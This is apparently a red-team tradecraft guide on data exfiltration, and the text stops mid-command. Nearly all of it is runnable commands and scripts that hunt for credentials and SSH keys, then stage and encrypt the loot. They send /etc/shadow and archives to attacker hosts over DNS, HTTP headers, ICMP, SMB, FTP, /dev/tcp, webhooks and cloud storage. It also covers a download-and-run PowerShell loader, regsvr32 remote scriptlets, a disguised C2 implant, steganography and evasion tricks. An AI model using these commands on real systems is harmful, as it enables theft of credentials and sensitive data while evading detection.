ᛉ Yggdrasil

Tradecraft

Exfiltration

15 Sep 2026 · 5,380 words · 24 min

Contents

A complete operational reference for data exfiltration tradecraft in red team engagements. Covers data discovery and staging, DNS/HTTP/ICMP/SMB tunneling, cloud storage abuse, steganography, LOLBAS exfil, air-gap techniques, DLP bypass, OPSEC, and detection avoidance. All techniques mapped to MITRE ATT&CK.


1. Core Concepts & Exfil Kill Chain

EXFILTRATION KILL CHAIN
──────────────────────────────────────────────────────────────────────────────

Initial Access / Foothold
            │
            ▼
┌──────────────────────────────────────────────────────────────┐
│ 1. Identify Target Data                                      │
│    • Determine valuable data (PII, credentials, IP, DBs)     │
└───────────────────────┬──────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────────────┐
│ 2. Locate & Collect                                          │
│    • Search filesystems, shares, databases, mailboxes        │
└───────────────────────┬──────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────────────┐
│ 3. Stage & Package                                           │
│    • Archive, compress, encrypt, or split the data           │
└───────────────────────┬──────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────────────┐
│ 4. Choose Exfiltration Channel                               │
│    • DNS, HTTP(S), ICMP, Cloud Storage, LOLBAS, etc.         │
└───────────────────────┬──────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────────────┐
│ 5. Exfiltrate                                                │
│    • Transfer the staged data through the chosen channel     │
└───────────────────────┬──────────────────────────────────────┘
                        │
                        ▼
┌──────────────────────────────────────────────────────────────┐
│ 6. Verify & Clean Up                                         │
│    • Confirm successful transfer and remove artefacts        │
└──────────────────────────────────────────────────────────────┘

Key Terms: - Exfiltration — unauthorized transfer of data out of a target environment. - Covert Channel — communication channel that bypasses security controls. - DLP — Data Loss Prevention — security controls that monitor/block data movement. - LOLBAS — Living Off the Land Binaries and Scripts — using built-in OS tools. - Staging Area — temporary location where data is assembled before exfil. - C2 — Command and Control — attacker-controlled server receiving exfiltrated data. - Chunking — splitting data into small pieces to avoid size-based detection. - OPSEC — Operational Security — practices to avoid attribution and detection.


2. Pre-Exfil — Data Discovery & Staging

2.1 Data Discovery — Windows

# ─── Find high-value files by extension ───
Get-ChildItem -Path C:\ -Recurse -Include *.doc,*.docx,*.xls,*.xlsx,*.pdf,*.kdbx,*.pst -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Recurse -Include *password*,*cred*,*secret*,*key* -ErrorAction SilentlyContinue

# ─── Find files modified recently ───
Get-ChildItem C:\ -Recurse | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-30)}

# ─── Search file content for keywords ───
Select-String -Path C:\Users\*\Documents\*.txt -Pattern "password|secret|api_key" -CaseSensitive:$false

# ─── Locate sensitive database files ───
Get-ChildItem -Path C:\ -Recurse -Include *.mdb,*.accdb,*.sqlite,*.db -ErrorAction SilentlyContinue

# ─── Find browser saved passwords ───
# Chrome
Get-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
# Firefox
Get-ChildItem "$env:APPDATA\Mozilla\Firefox\Profiles" -Recurse -Include "logins.json","key4.db"

# ─── Find SSH keys ───
Get-ChildItem -Path $env:USERPROFILE\.ssh -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -Include id_rsa,id_ed25519,*.pem -ErrorAction SilentlyContinue

# ─── Enumerate network shares ───
net share
Get-SmbShare
Get-ChildItem \\DC01\SYSVOL -Recurse | Select FullName

2.2 Data Discovery — Linux

# ─── Find high-value files ───
find / -type f \( -name "*.key" -o -name "*.pem" -o -name "*.p12" \
    -o -name "id_rsa" -o -name "id_ed25519" -o -name "*.kdbx" \
    -o -name "*.db" -o -name "*.sqlite" \) 2>/dev/null

# ─── Grep for credentials in config files ───
grep -rli "password\|passwd\|secret\|api_key\|token\|credential" \
    /etc /home /var/www /opt 2>/dev/null

# ─── Find recently modified files ───
find / -type f -mtime -30 2>/dev/null | grep -v proc | grep -v sys

# ─── Find SUID/SGID binaries (privilege escalation pivot) ───
find / -perm -u=s -type f 2>/dev/null

# ─── Bash history — often contains passwords ───
cat ~/.bash_history
cat ~/.zsh_history
find /home -name ".bash_history" 2>/dev/null | xargs cat

# ─── SSH private keys ───
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null

# ─── Database connection strings ───
grep -rli "mysql\|postgres\|mongodb\|redis\|password" \
    /var/www /opt /etc 2>/dev/null

2.3 Data Staging & Packaging

# ─── Archive + compress (Linux) ───
tar -czf /tmp/.cache/data.tar.gz /home/user/Documents/
tar -czf - /etc/passwd /etc/shadow /home | base64 > /tmp/exfil.b64

# ─── Archive + encrypt (Linux) ───
tar -czf - /sensitive/data | openssl enc -aes-256-cbc \
    -pbkdf2 -pass pass:S3cr3tK3y! > /tmp/.x11.sock

# ─── 7zip (Windows) ───
7z a -mx9 -mhe=on -p"password123" C:\Temp\exfil.7z C:\Users\Sensitive\

# ─── PowerShell compress ───
Compress-Archive -Path C:\Users\admin\Documents -DestinationPath C:\Temp\docs.zip

# ─── Split large files into chunks ───
# Linux:
split -b 500k data.tar.gz chunk_
# → chunk_aa, chunk_ab, chunk_ac...

# PowerShell:
$file = [System.IO.File]::ReadAllBytes("C:\Temp\exfil.7z")
$chunkSize = 500000
for ($i = 0; $i -lt $file.Length; $i += $chunkSize) {
    $chunk = $file[$i..([Math]::Min($i+$chunkSize-1,$file.Length-1))]
    [System.IO.File]::WriteAllBytes("C:\Temp\chunk_$i.bin", $chunk)
}

# ─── Rename to blend in ───
mv /tmp/exfil.tar.gz /tmp/.mozilla_cache_v2.dat
ren C:\Temp\exfil.7z C:\Temp\Windows_update_KB4586786.cab

3. DNS Exfiltration

HOW IT WORKS: DNS queries leave the network even with strict egress filtering.
Data is encoded as subdomains of an attacker-controlled domain.

Setup required:
1. Register a domain (e.g. exfil.attacker.com)
2. Set NS record → your VPS IP
3. Run authoritative DNS server on your VPS
4. Every DNS query for *.exfil.attacker.com reaches your server
5. Encode data as subdomain labels (max 63 chars per label, 253 total)

3.1 Manual DNS Exfiltration

# ─── Attacker side — capture incoming DNS queries ───
sudo tcpdump -i eth0 udp port 53 -v
# Or:
sudo python3 -m dnslib.server   # simple DNS capture

# ─── Victim — encode file and send via DNS ───
# Linux:
cat /etc/passwd | base64 | tr -d '\n' | fold -w 50 | \
    awk '{print "dig +short " $1 ".exfil.attacker.com @<ATTACKER_IP>"}' | bash

# PowerShell:
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = $data -split "(.{50})" | Where-Object {$_}
foreach ($chunk in $chunks) {
    Resolve-DnsName "$chunk.exfil.attacker.com" -ErrorAction SilentlyContinue
}

# ─── Attacker — extract and decode ───
sudo tcpdump -i eth0 udp port 53 -w dns_capture.pcap
# Offline: extract subdomain labels, reassemble, base64 decode
tshark -r dns_capture.pcap -Y "dns.qry.name contains exfil.attacker.com" \
    -T fields -e dns.qry.name \
    | cut -d. -f1 | tr -d '\n' | base64 -d > recovered_file

3.2 dnscat2 — Full DNS C2 + Exfil

# ─── Server (attacker) ───
gem install dnscat2
dnscat2-server exfil.attacker.com

# With pre-shared secret (encryption):
dnscat2-server exfil.attacker.com --secret=Sup3rS3cr3t

# ─── Client (victim — Linux) ───
# Compile:
git clone https://github.com/iagox86/dnscat2
cd dnscat2/client && make
./dnscat2 --secret=Sup3rS3cr3t exfil.attacker.com

# Without domain (direct to IP):
./dnscat2 --dns server=<ATTACKER_IP>,port=53 --secret=Sup3rS3cr3t

# ─── Client (victim — Windows — PowerShell version) ───
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 -Domain exfil.attacker.com -DNSServer <ATTACKER_IP> -PreSharedSecret Sup3rS3cr3t

# ─── dnscat2 server commands ───
dnscat2> sessions           # list all sessions
dnscat2> session -i 1       # interact with session 1
dnscat2> window -i 1
command (session 1)> shell  # get a shell
command (session 1)> download /etc/shadow /tmp/shadow  # exfil file

3.3 DNSExfiltrator

# ─── Server (attacker) ───
pip3 install dnslib
python3 dnsexfiltrator.py -d exfil.attacker.com -p password

# ─── Client (victim — Windows) ───
dnsExfiltrator.exe secrets.zip exfil.attacker.com password s=<ATTACKER_IP> t=500
# t=500 → 500ms delay between chunks (avoid rate limiting / detection)

# ─── Stealth options ───
# Use TXT record type instead of A (less common, harder to filter):
python3 dnsexfiltrator.py -d exfil.attacker.com -p password -r TXT
dnsExfiltrator.exe secrets.zip exfil.attacker.com password r=TXT

3.4 iodine — IP-over-DNS Tunnel

# ─── Server (attacker) ───
sudo iodined -f -c -P password 10.0.0.1 tunnel.attacker.com

# ─── Client (victim) ───
sudo iodine -f -P password tunnel.attacker.com
# Creates tun0 interface at 10.0.0.2
# Now route traffic through DNS tunnel:
ssh user@10.0.0.1   # SSH over DNS!

4. HTTP / HTTPS Exfiltration

WHY HTTP/S: HTTP/S is almost always allowed outbound.
HTTPS encrypts content — DLP can't inspect without SSL interception.
Blends with normal web browsing traffic.
Can abuse CDNs, legitimate services, webhooks as receivers.

4.1 Basic HTTP POST Exfiltration

# ─── Attacker — setup receiver ───
# Simple netcat listener:
nc -lvnp 8080 > received_data.b64

# Python HTTP receiver:
python3 - << 'EOF'
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length)
        print(f"[+] Received {len(data)} bytes")
        with open('exfil_data.bin', 'ab') as f:
            f.write(base64.b64decode(data))
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
EOF

# ─── Victim — Linux curl exfil ───
# Single file:
curl -s -X POST https://attacker.com/upload \
    -H "Content-Type: application/octet-stream" \
    --data-binary @/etc/shadow

# Base64 encoded:
base64 /etc/passwd | curl -s -X POST https://attacker.com/data \
    -H "Content-Type: text/plain" -d @-

# Chunked:
split -b 64k /tmp/exfil.tar.gz /tmp/chunk_
for f in /tmp/chunk_*; do
    curl -s -X POST "https://attacker.com/chunk/$(basename $f)" \
        --data-binary @"$f"
done

# ─── Victim — PowerShell exfil ───
# Single file via WebClient:
$wc = New-Object System.Net.WebClient
$wc.UploadFile("https://attacker.com/upload", "C:\Temp\exfil.7z")

# Base64 encoded POST:
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
Invoke-WebRequest -Uri "https://attacker.com/data" -Method POST -Body $data

# Stream upload (bypass size limits):
$stream = [System.IO.File]::OpenRead("C:\Temp\bigfile.7z")
$req = [System.Net.WebRequest]::Create("https://attacker.com/upload")
$req.Method = "POST"
$req.ContentLength = $stream.Length
$out = $req.GetRequestStream()
$stream.CopyTo($out)
$out.Close(); $stream.Close()
$req.GetResponse()

4.2 HTTP Headers Exfiltration (Covert)

# Encode data in HTTP headers — bypasses body-based DLP
# Attacker reads headers from access logs

# Linux:
curl -s -H "X-Auth-Token: $(base64 /etc/passwd | tr -d '\n' | head -c 4096)" \
    https://attacker.com/api/check

# Per-request chunked:
base64 /etc/shadow | fold -w 200 | while read line; do
    curl -s -H "X-Data: $line" https://attacker.com/ping
    sleep 0.5
done

# PowerShell via User-Agent header:
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = [System.Text.RegularExpressions.Regex]::Split($data, "(.{200})") | Where-Object {$_}
foreach ($chunk in $chunks) {
    Invoke-WebRequest -Uri "https://attacker.com/" -UserAgent $chunk
    Start-Sleep -Milliseconds 500
}

4.3 Webhook / Paste Service Exfil

# Exfil to Discord webhook (blends with Office365 traffic)
curl -s -H "Content-Type: application/json" \
    -X POST "https://discord.com/api/webhooks/<ID>/<TOKEN>" \
    -d "{\"content\": \"$(base64 /etc/passwd | head -c 1900)\"}"

# Exfil to Slack webhook:
curl -s -X POST -H "Content-type: application/json" \
    --data "{\"text\": \"$(cat /etc/hostname | base64)\"}" \
    https://hooks.slack.com/services/<WEBHOOK_ID>

# Exfil to pastebin-style service:
curl -s -X POST https://pasteland.pw/api \
    -d "text=$(cat /etc/passwd | base64)"

# Exfil to HTTPS Requestbin (collect & inspect)
curl -s -X POST https://en9kxabc.x.pipedream.net/ \
    --data-binary @/tmp/exfil.tar.gz

5. ICMP Exfiltration

WHY ICMP:
ICMP (ping) is often allowed inbound and outbound, even where
other protocols are filtered. Each ICMP packet has a "data" payload
field that can carry arbitrary bytes.
Typical use: hide data in echo request/reply packets.

5.1 Manual ICMP Exfiltration

# ─── Attacker — capture ICMP traffic ───
sudo tcpdump -i eth0 icmp -w icmp_capture.pcap
# Or listen with scapy:
python3 - << 'EOF'
from scapy.all import *
data = b""
def handle(pkt):
    global data
    if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:  # echo request
        payload = bytes(pkt[ICMP].payload)
        if payload:
            data += payload
            print(f"[+] Received chunk: {payload[:20]}...")
sniff(iface="eth0", filter="icmp", prn=handle)
EOF

# ─── Victim — Linux manual ICMP exfil ───
# Encode data and send in ping payload:
data=$(cat /etc/passwd | base64 | tr -d '\n')
for i in $(seq 0 60 ${#data}); do
    chunk="${data:$i:60}"
    ping -c 1 -p "$(echo -n $chunk | xxd -p)" <ATTACKER_IP>
    sleep 0.3
done

# Using hping3 (more control over payload):
cat /etc/shadow | base64 | \
    while read -r -n 56 chunk; do
        echo -n "$chunk" | xxd -r -p | \
        hping3 -1 --data 56 --file /dev/stdin <ATTACKER_IP>
        sleep 0.2
    done

5.2 icmpsh

# ─── Server (attacker) — simple ICMP reverse shell ───
# Download: https://github.com/inquisb/icmpsh
sudo python3 icmpsh_m.py <ATTACKER_IP> <VICTIM_IP>

# ─── Victim (Windows) ───
icmpsh.exe -t <ATTACKER_IP> -d 500 -b 30 -s 128
# -d 500 → 500ms delay between pings
# -b 30  → 30 blank pings before giving up
# -s 128 → max 128 bytes per packet

5.3 ptunnel-ng — Full IP Tunnel over ICMP

# ─── Server (attacker) ───
sudo ptunnel-ng -x password

# ─── Client (victim) ───
sudo ptunnel-ng -p <ATTACKER_IP> -lp 8080 -da <TARGET_IP> -dp 22 -x password
# Routes: localhost:8080 → ICMP tunnel → attacker → SSH to target

ssh -p 8080 user@localhost
# Full SSH over ICMP!

6. SMB / FTP / Other Protocol Exfil

6.1 SMB Exfiltration

# ─── Attacker — set up SMB server (Impacket) ───
impacket-smbserver share /tmp/loot -smb2support
impacket-smbserver share /tmp/loot -smb2support -username user -password pass

# ─── Victim — Windows ───
# Copy file to attacker's share:
copy C:\Temp\exfil.7z \\<ATTACKER_IP>\share\
xcopy /S C:\Users\admin\Documents \\<ATTACKER_IP>\share\docs\

# PowerShell:
Copy-Item C:\Temp\exfil.7z -Destination \\<ATTACKER_IP>\share\

# Map drive first:
net use Z: \\<ATTACKER_IP>\share /user:user pass
copy C:\secret.txt Z:\
net use Z: /delete

# ─── Victim — Linux / CrackMapExec ───
smbclient //attacker-ip/share -U user%pass -c "put /etc/shadow shadow"

6.2 FTP Exfiltration

# ─── Attacker — Python FTP server ───
pip3 install pyftpdlib
python3 -m pyftpdlib -w -u attacker -P password -p 21

# ─── Victim — Linux ───
ftp -n <ATTACKER_IP> << EOF
user attacker password
put /etc/passwd passwd
put /tmp/exfil.tar.gz exfil.tar.gz
bye
EOF

# curl:
curl -T /tmp/exfil.tar.gz ftp://attacker:password@<ATTACKER_IP>/exfil.tar.gz

# ─── Victim — Windows (via PowerShell) ───
$client = New-Object System.Net.WebClient
$client.Credentials = New-Object System.Net.NetworkCredential("attacker","password")
$client.UploadFile("ftp://<ATTACKER_IP>/exfil.7z", "C:\Temp\exfil.7z")

6.3 Netcat Exfiltration

# ─── Attacker — receive ───
nc -lvnp 4444 > received_data.tar.gz

# ─── Victim — send ───
# Linux:
cat /tmp/exfil.tar.gz | nc <ATTACKER_IP> 4444

# With encryption (ncat):
ncat --ssl <ATTACKER_IP> 4444 < /tmp/exfil.tar.gz

# Windows (PowerShell):
$socket = New-Object System.Net.Sockets.TcpClient("<ATTACKER_IP>", 4444)
$stream = $socket.GetStream()
$data = [System.IO.File]::ReadAllBytes("C:\Temp\exfil.7z")
$stream.Write($data, 0, $data.Length)
$socket.Close()

7. SSH / SCP / SFTP Tunneling

# ─── SCP — direct file copy ───
scp /tmp/exfil.tar.gz attacker@<ATTACKER_IP>:/tmp/loot/
scp -P 2222 /tmp/exfil.tar.gz attacker@<ATTACKER_IP>:/tmp/loot/

# ─── Tar over SSH (no temp file) ───
tar -czf - /home/user/Documents/ | ssh attacker@<ATTACKER_IP> 'cat > /tmp/docs.tar.gz'

# ─── SSH + Proxy exfil (via jump host) ───
scp -o "ProxyJump jumphost.corp.com" /tmp/exfil.tar.gz attacker@<ATTACKER_IP>:/tmp/

# ─── SFTP automated upload ───
sftp attacker@<ATTACKER_IP> << EOF
put /tmp/exfil.tar.gz /tmp/loot/
bye
EOF

# ─── Reverse SSH tunnel (victim has no inbound ports) ───
# On victim: create reverse tunnel so attacker can pull data
ssh -R 2222:localhost:22 attacker@<ATTACKER_IP>
# On attacker: now SCP from victim via tunnel
scp -P 2222 user@localhost:/sensitive/data /tmp/loot/

8. Cloud Storage Abuse

WHY CLOUD:
Uploads to Dropbox / OneDrive / S3 / GDrive look like normal
employee activity. Traffic to cloud providers is HTTPS-encrypted.
Many DLP solutions whitelist cloud storage domains by default.
APT28, Lazarus Group, and other APTs have used this in real ops.

8.1 AWS S3 Exfiltration

# ─── Using AWS CLI ───
# Configure with stolen / attacker-owned keys:
aws configure  # Enter attacker-owned access key + secret

# Upload file to bucket:
aws s3 cp /tmp/exfil.tar.gz s3://attacker-bucket/exfil.tar.gz
aws s3 cp /tmp/exfil.tar.gz s3://attacker-bucket/ --sse

# Recursive upload:
aws s3 sync /home/user/Documents/ s3://attacker-bucket/docs/

# ─── Using curl (presigned URL — no CLI needed) ───
# Attacker generates presigned URL (valid for limited time):
aws s3 presign s3://bucket/exfil.tar.gz --expires-in 3600
# Victim uses that URL to upload:
curl -T /tmp/exfil.tar.gz "https://bucket.s3.amazonaws.com/exfil.tar.gz?X-Amz-Credential=..."

# ─── Using PowerShell (no CLI) ───
# Simple pre-signed URL PUT:
Invoke-WebRequest -Uri "<PRESIGNED_S3_URL>" -Method PUT -InFile "C:\Temp\exfil.7z"

8.2 Dropbox API Exfiltration

# ─── Attacker — get Dropbox token ───
# Create Dropbox app → generate OAuth2 token

# ─── Upload via curl ───
curl -X POST https://content.dropboxapi.com/2/files/upload \
    --header "Authorization: Bearer <TOKEN>" \
    --header "Dropbox-API-Arg: {\"path\": \"/exfil.tar.gz\",\"mode\": \"add\"}" \
    --header "Content-Type: application/octet-stream" \
    --data-binary @/tmp/exfil.tar.gz

# ─── PowerShell Dropbox upload ───
$token = "<TOKEN>"
$file = "C:\Temp\exfil.7z"
$body = [System.IO.File]::ReadAllBytes($file)
$headers = @{
    "Authorization" = "Bearer $token"
    "Dropbox-API-Arg" = '{"path":"/exfil.7z","mode":"add"}'
    "Content-Type" = "application/octet-stream"
}
Invoke-RestMethod -Uri "https://content.dropboxapi.com/2/files/upload" \
    -Method POST -Headers $headers -Body $body

8.3 OneDrive / SharePoint Exfiltration

# ─── Using PnP PowerShell (if tenant creds captured) ───
Install-Module PnP.PowerShell
Connect-PnPOnline -Url "https://target.sharepoint.com" -Credentials $cred
Add-PnPFile -Path "C:\Temp\exfil.7z" -Folder "/Shared Documents/"

# ─── Microsoft Graph API via token ───
$headers = @{ "Authorization" = "Bearer $stolen_graph_token" }
$stream = [System.IO.File]::OpenRead("C:\Temp\exfil.7z")
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/exfil.7z:/content" \
    -Method PUT -Headers $headers -Body $stream

8.4 GitHub / GitLab Exfiltration

# ─── Create private repo on attacker GitHub account ───
# Then:
git init /tmp/exfil_staging
cp /sensitive/data /tmp/exfil_staging/
cd /tmp/exfil_staging
git add .
git commit -m "update"
git remote add origin https://<TOKEN>@github.com/attacker/privaterepo.git
git push -u origin main

# ─── GitLab API upload ───
curl --request POST --header "PRIVATE-TOKEN: <TOKEN>" \
    --form "file=@/tmp/exfil.tar.gz" \
    "https://gitlab.com/api/v4/projects/<ID>/uploads"

9. LOLBAS Exfiltration (Living Off the Land)

CONCEPT:
Use built-in Windows/Linux binaries to exfiltrate data.
No custom tools needed → bypass application whitelisting.
Harder to detect — these are legitimate system binaries.

9.1 Windows LOLBAS

# ─── certutil — encode + exfil via DNS/HTTP ───
# Encode to base64:
certutil -encode C:\Temp\exfil.7z C:\Temp\exfil.b64
# Upload encoded file (now looks like a cert request):
certutil -urlcache -split -f https://attacker.com/recv.php C:\Temp\recv.txt

# ─── bitsadmin — background transfer ───
bitsadmin /transfer exfil /upload https://attacker.com/upload C:\Temp\exfil.7z

# ─── PowerShell WebClient ───
(New-Object System.Net.WebClient).UploadFile("https://attacker.com/up","C:\Temp\exfil.7z")

# ─── PowerShell Invoke-WebRequest ───
Invoke-WebRequest -Uri "https://attacker.com/up" -Method POST \
    -InFile "C:\Temp\exfil.7z" -ContentType "application/octet-stream"

# ─── curl.exe (available since Windows 10 1803) ───
curl.exe -T C:\Temp\exfil.7z https://attacker.com/upload
curl.exe -X POST https://attacker.com/up -H "Content-Type: application/octet-stream" \
    --data-binary @C:\Temp\exfil.7z

# ─── ftp.exe — built-in FTP client ───
echo open <ATTACKER_IP> 21>ftp.txt
echo user attacker password>>ftp.txt
echo put C:\Temp\exfil.7z>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt

# ─── xcopy / robocopy to UNC share ───
xcopy C:\Sensitive \\<ATTACKER_IP>\share\ /S /E
robocopy C:\Sensitive \\<ATTACKER_IP>\share\sensitive /E /Z

# ─── wmic — for small data via alias ───
wmic process call create "cmd /c type C:\secret.txt > \\<ATTACKER_IP>\share\secret.txt"

# ─── mshta — HTML app used for exfil trigger ───
mshta "javascript:a=new ActiveXObject('WScript.Shell');a.Run('cmd /c curl -T C:\\exfil.7z https://attacker.com/up')"

# ─── regsvr32 — covert payload execution with exfil ───
regsvr32 /s /n /u /i:https://attacker.com/payload.sct scrobj.dll

9.2 Linux LOLBAS

# ─── curl (almost always present) ───
curl -T /tmp/exfil.tar.gz https://attacker.com/upload
curl -F "file=@/tmp/exfil.tar.gz" https://attacker.com/upload

# ─── wget ───
wget --post-file=/tmp/exfil.tar.gz https://attacker.com/upload

# ─── python3 (commonly available) ───
python3 -c "
import urllib.request, base64
data = open('/etc/shadow','rb').read()
req = urllib.request.Request('https://attacker.com/up', data=base64.b64encode(data))
urllib.request.urlopen(req)"

# ─── bash /dev/tcp (no external tools) ───
# Send file over raw TCP using bash built-in:
exec 3<>/dev/tcp/<ATTACKER_IP>/4444
cat /etc/shadow >&3
exec 3>&-

# ─── nc (if available) ───
cat /tmp/exfil.tar.gz | nc <ATTACKER_IP> 4444
nc -w 3 <ATTACKER_IP> 4444 < /etc/shadow

# ─── socat ───
socat -u FILE:/tmp/exfil.tar.gz TCP:<ATTACKER_IP>:4444
socat -u FILE:/tmp/exfil.tar.gz OPENSSL:<ATTACKER_IP>:4444  # TLS

# ─── openssl (exfil via TLS — evades clear-text detection) ───
# Attacker:
openssl s_server -port 4444 -quiet > received.bin
# Victim:
cat /tmp/exfil.tar.gz | openssl s_client -quiet -connect <ATTACKER_IP>:4444

# ─── telnet (fallback) ───
telnet <ATTACKER_IP> 4444 < /etc/passwd

10. Steganography

CONCEPT: Hide data INSIDE seemingly innocent files (images, audio, video).
The carrier file looks normal, passes visual inspection,
and often bypasses DLP tools that only check file extensions / hashes.

APT28 (Fancy Bear) used PNG steganography with AES-encrypted shellcode
in their 2025 campaign to hide C2 payloads inside image files.

10.1 steghide — Image/Audio Embedding

# Install
apt install steghide

# ─── Embed data into JPEG/BMP/WAV/AU ───
steghide embed -cf cover.jpg -sf /tmp/exfil.tar.gz -p "password123" -sf secret.txt
# -cf = cover file, -sf = secret file, -p = passphrase
# Output: modified cover.jpg (looks identical, data hidden inside)

# ─── Extract ───
steghide extract -sf cover.jpg -p "password123" -xf extracted_data.bin

# ─── Check if file has hidden data ───
steghide info cover.jpg

10.2 LSB Steganography (Manual — PNG)

# Least Significant Bit encoding in PNG
# Hides data in the lowest bit of each pixel's RGB channels

from PIL import Image
import struct

def hide_data_lsb(image_path, data: bytes, output_path: str):
    img = Image.open(image_path).convert('RGB')
    pixels = list(img.getdata())

    # Prepend 4-byte length header
    payload = struct.pack('>I', len(data)) + data
    bits = ''.join(f'{byte:08b}' for byte in payload)

    if len(bits) > len(pixels) * 3:
        raise ValueError("Data too large for cover image")

    new_pixels = []
    bit_idx = 0
    for r, g, b in pixels:
        if bit_idx < len(bits):
            r = (r & ~1) | int(bits[bit_idx]); bit_idx += 1
        if bit_idx < len(bits):
            g = (g & ~1) | int(bits[bit_idx]); bit_idx += 1
        if bit_idx < len(bits):
            b = (b & ~1) | int(bits[bit_idx]); bit_idx += 1
        new_pixels.append((r, g, b))

    img.putdata(new_pixels)
    img.save(output_path, 'PNG')
    print(f"[+] Hid {len(data)} bytes in {output_path}")

def extract_data_lsb(image_path: str) -> bytes:
    img = Image.open(image_path).convert('RGB')
    pixels = list(img.getdata())
    bits = ''
    for r, g, b in pixels:
        bits += str(r & 1) + str(g & 1) + str(b & 1)

    # Read 4-byte length header
    length = int(bits[:32], 2)
    data_bits = bits[32:32 + length * 8]
    data = bytes(int(data_bits[i:i+8], 2) for i in range(0, len(data_bits), 8))
    return data

# Usage:
hide_data_lsb('innocent.png', open('/tmp/exfil.tar.gz','rb').read(), 'output.png')
data = extract_data_lsb('output.png')
open('/tmp/recovered.tar.gz','wb').write(data)

10.3 ExifTool — Hide in Metadata

# Hide data in EXIF metadata field
exiftool -Comment="$(base64 /tmp/exfil.txt | tr -d '\n')" photo.jpg

# Extract:
exiftool photo.jpg | grep Comment | cut -d: -f2- | base64 -d

# Multiple fields for larger payloads:
exiftool -Artist="chunk1_data" -Copyright="chunk2_data" -Description="chunk3_data" photo.jpg

10.4 stegsnow — Whitespace Steganography

# Hide data in whitespace at end of text file lines
stegsnow -C -m "secret data here" -p "password" cover.txt output.txt

# Extract:
stegsnow -C -p "password" output.txt

11. C2 Channel Exfiltration

CONCEPT: C2 frameworks use existing implant channels to pull data back.
No new outbound connections needed — reuses established beacon.
Most mature C2 frameworks (Cobalt Strike, Sliver, Havoc, C3) have
built-in file download/upload commands.

Cobalt Strike

# Beacon commands:
download C:\Sensitive\data.xlsx     # pull file to team server
download C:\Users\admin\Documents\  # pull directory
ls C:\Users\admin\Desktop           # list before downloading

Sliver

sliver> download /etc/shadow
sliver> download /home/user/Documents /tmp/loot/

Metasploit Meterpreter

meterpreter> download C:\\Users\\admin\\Documents\\*.docx /tmp/loot/
meterpreter> download -r C:\\Sensitive /tmp/loot/
# -r = recursive

Havoc C2

# Havoc demon commands:
upload /tmp/local_tool.exe C:\Windows\Temp\tool.exe
download C:\sensitive\data.7z /tmp/loot/data.7z

Custom HTTPS C2 Exfil (Python)

# Implant side — POST data back to C2 over HTTPS
import requests, base64, os

C2 = "https://c2.attacker.com"
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "X-Session-ID": "a1b2c3d4e5f6"  # identify implant
}

def exfil_file(path):
    with open(path, 'rb') as f:
        data = f.read()
    chunks = [data[i:i+50000] for i in range(0, len(data), 50000)]
    for i, chunk in enumerate(chunks):
        requests.post(f"{C2}/api/telemetry",
            headers=HEADERS,
            json={
                "session": "a1b2c3d4e5f6",
                "chunk_id": i,
                "total": len(chunks),
                "filename": os.path.basename(path),
                "data": base64.b64encode(chunk).decode()
            },
            verify=False,
            timeout=30
        )

exfil_file("/etc/shadow")

12. Air-Gap & Unconventional Channels

USE CASE:
For physically isolated / air-gapped networks where no internet exists.
Physical access or compromised peripheral is required.
Used by nation-state APTs (NSA, GCHQ, Equation Group documented use).

Acoustic (Air-Gap)

# Encode data in audio frequencies — transmit via PC speaker
# Receive via microphone on attacker's device nearby
# Tool: AirHopper / MOSQUITO
# Practical range: < 9 meters, low bandwidth (~20 bytes/sec)

USB / Physical Media

# Autorun / BadUSB implant → copies target data to USB on plug-in
# DiskCryptor or VeraCrypt hidden volume on USB for deniability

# PowerShell: copy data to any attached USB automatically
$usb = Get-WmiObject Win32_LogicalDisk | Where-Object {$_.DriveType -eq 2}
if ($usb) {
    Copy-Item C:\Sensitive\* "$($usb.DeviceID)\" -Recurse
}

Optical / LED

# Blink HDD activity LED or CPU status LED in coded patterns
# Camera (attacker-controlled CCTV or phone) records the blinks
# ETHAMINER / xLED / BRIGHTNESS — research-grade tools

RF Channels

# Use DRAM bus or CPU frequency changes to emit RF signals
# Receive with software-defined radio (SDR)
# Tool: GSMem (uses memory bus as unintentional radio transmitter)
# Practical bandwidth: very low (~100 bytes/sec)

13. Data Encoding & Compression

# ─── Base64 ───
base64 secret.txt > encoded.txt
cat encoded.txt | base64 -d > decoded.txt

# PowerShell:
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))

# ─── Hex encoding ───
xxd /tmp/exfil.tar.gz > exfil.hex
xxd -r exfil.hex > recovered.tar.gz

# ─── URL encoding (for GET params) ───
python3 -c "import urllib.parse; print(urllib.parse.quote(open('/etc/passwd').read()))"

# ─── Compression ───
# gzip:
gzip -9 -c secret.txt > secret.txt.gz

# xz (best compression ratio):
xz -9 secret.txt  # → secret.txt.xz

# bzip2:
bzip2 -9 -c secret.txt > secret.txt.bz2

# ─── Encryption before exfil ───
# OpenSSL AES-256:
openssl enc -aes-256-cbc -pbkdf2 -salt \
